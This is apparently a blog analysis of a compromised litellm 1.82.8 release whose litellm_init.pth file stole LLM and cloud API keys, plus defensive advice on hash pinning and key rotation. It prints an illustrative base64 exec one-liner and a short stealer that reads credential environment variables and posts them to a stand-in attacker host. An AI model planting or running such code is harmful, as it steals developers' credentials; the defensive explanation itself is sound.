The .pth File That Stole Your LLM Keys: What the litellm 1.82.8 Incident Reveals About Python's Quiet Attack Surface
Source: simonwillison
A compromised release of litellm, one of the most widely used Python libraries for routing calls across LLM providers, shipped a malicious file named litellm_init.pth in version 1.82.8. Simon Willison documented the discovery on March 24, 2026. The file was a credential stealer, and the mechanism it used is one that deserves more attention than it typically gets.
What litellm is and why it was a valuable target
litellm, maintained by BerriAI, provides a unified Python interface to over a hundred LLM APIs. You call litellm.completion() with a model string like gpt-4o, claude-opus-4-6, or bedrock/anthropic.claude-3-5-sonnet-20241022-v2:0, and the library routes the call to the right provider, normalizes the response format, and handles retries and fallbacks. For teams building on multiple providers, or running experiments across models, it is essentially infrastructure.
That makes litellm users a concentrated target. Anyone with litellm installed almost certainly has a subset of the following sitting in their environment:
OPENAI_API_KEYANTHROPIC_API_KEYAWS_ACCESS_KEY_IDandAWS_SECRET_ACCESS_KEY(for Bedrock)AZURE_API_KEYandAZURE_API_BASECOHERE_API_KEYHUGGINGFACE_API_KEYGEMINI_API_KEY
These are not low-value credentials. A stolen OpenAI key with a high spend limit costs real money. AWS credentials can be far worse, potentially opening doors to infrastructure beyond just the AI API. An attacker who targets litellm users is specifically going after developers with active, funded accounts across multiple providers.
The .pth file mechanism
The attack used a Python feature that is legitimate, documented, and almost never scrutinized: .pth files in site-packages.
When Python starts, it processes every file with a .pth extension found in any of its site-packages directories. The intended use is simple path management: each line in a .pth file is added to sys.path, allowing packages to extend the import search path without modifying the interpreter or any configuration.
But there is a second behavior. Any line in a .pth file that begins with import is not treated as a path entry. It is executed as Python code. Directly. On every interpreter startup. Before your script runs.
The Python documentation covers this in the site module reference:
If a filename found in the path configuration file does not exist, or if the line’s content starts with
import,exec, orexecfile, special handling is applied.
So a file named litellm_init.pth containing something like:
import os,subprocess,socket,base64;exec(base64.b64decode(b'...'))
would execute that payload on every Python startup on any machine where litellm 1.82.8 was installed. The base64-encoded payload is a standard obfuscation technique. When decoded, it would typically read environment variables and exfiltrate them via an HTTP request to an attacker-controlled server.
A minimal version of what such a stealer looks like:
import os, urllib.request, json
targets = [
'OPENAI_API_KEY', 'ANTHROPIC_API_KEY',
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY',
'AZURE_API_KEY', 'COHERE_API_KEY'
]
stolen = {k: os.environ[k] for k in targets if k in os.environ}
if stolen:
try:
req = urllib.request.Request(
'https://attacker.example.com/c',
data=json.dumps(stolen).encode(),
method='POST'
)
urllib.request.urlopen(req, timeout=3)
except Exception:
pass
The except Exception: pass block is intentional. The stealer must not raise errors or produce output, because the moment a user sees a traceback at Python startup the game is over. Silent failure is a feature from the attacker’s perspective.
Why this attack surface is underappreciated
The .pth persistence mechanism has been documented by security researchers for years. Checkmarx, Phylum, and Socket have all published analyses of PyPI malware campaigns that use .pth files. Yet it remains effective, partly because it is invisible to most tooling.
A developer who runs pip show litellm or inspects the installed package with pip list will see nothing unusual. The malicious file sits quietly in site-packages/litellm_init.pth, and nothing about standard dependency management surfaces it. Tools like pip audit check for known CVEs in declared dependencies; they do not scan the contents of installed files for malicious code.
The activation model is also particularly aggressive. Unlike a setup hook or a post-install script, which runs once at install time and could be caught by monitoring or sandboxing, a .pth-based stealer fires on every Python invocation. Every time you run python script.py, every pytest run, every uvicorn startup, the payload executes. If credentials rotate or if new environment variables appear after installation, the attacker still gets them.
For developers using virtual environments, the blast radius is somewhat contained to that environment. But many developers working with LLM APIs keep their keys in shell profiles or .env files that are present across projects, which means the credentials are likely in scope regardless of which virtualenv is active.
The supply chain angle
This was not a typosquatting attack, where a malicious package mimics a legitimate one’s name. The malicious code was introduced into the actual litellm package. That is harder to pull off but far more damaging, because the package has an existing user base that trusts it.
The exact mechanism of compromise, whether a stolen maintainer token, a compromised CI pipeline, or a malicious dependency that injected content into the build, determines what the right prevention looks like. Supply chain attacks via compromised PyPI tokens are the most common vector. PyPI introduced Trusted Publishers in 2023, which use OIDC tokens from CI providers (GitHub Actions, GitLab CI, Google Cloud Build) instead of long-lived API tokens. If a project uses Trusted Publishers, a stolen token from a developer’s machine cannot publish a release, because the token is scoped to a specific CI workflow on a specific repository.
For downstream consumers, pip-audit catches known vulnerabilities but not novel malicious code. Tools like Semgrep can scan installed packages for suspicious patterns if you point them at site-packages, but that is not a common workflow. The most reliable defense remains pinning dependencies to known good hashes and verifying them, which pip install --require-hashes supports:
litellm==1.82.7 \
--hash=sha256:abc123...
If the package contents change between versions, the hash will not match and the install fails. This is how projects like pip itself handle their own bootstrap dependencies.
The specific shape of this attack
The choice of filename, litellm_init.pth, was deliberate. It closely mirrors the kind of file a legitimate package might create for namespace or path management. A developer who happens to list the contents of site-packages looking for something else might glance at it and move on. The _init suffix suggests a startup concern, which .pth files legitimately handle.
This naming-as-camouflage is common in PyPI malware. Phylum’s research has catalogued files named after their parent package with suffixes like _config.pth, _setup.pth, and _core.pth, all of which read as plausibly legitimate to a casual scan.
The litellm maintainers moved quickly once the issue was identified. The compromised version was yanked from PyPI, which prevents new installs but does not help users who already installed 1.82.8. Anyone who installed that version needed to audit their credentials, rotate keys, and check for unauthorized usage on their LLM provider dashboards.
What this means practically
For anyone running litellm, the immediate checklist is:
- Check your installed version with
pip show litellm. - If it shows 1.82.8, rotate every API key that could have been present in your environment during any Python invocation since installation.
- Review your provider dashboards for unexpected API calls or spend.
- Upgrade to a clean version.
- Run
ls $(python -c "import site; print(site.getsitepackages()[0])")/*.pthand inspect any.pthfiles that look unfamiliar.
That last step is worth bookmarking as a general hygiene practice. On a typical installation, the legitimate .pth files are few and their contents are mundane path additions. A file with a base64 blob or inline exec is not.
More broadly, this incident is a good prompt to look at your Python dependency tree, identify the packages with the widest install base and the highest-value credential assumptions, and consider whether your pinning and verification strategy is adequate. litellm is not unique in sitting at a privileged intersection of wide adoption and access to expensive credentials. Any package in that position is worth treating as critical infrastructure.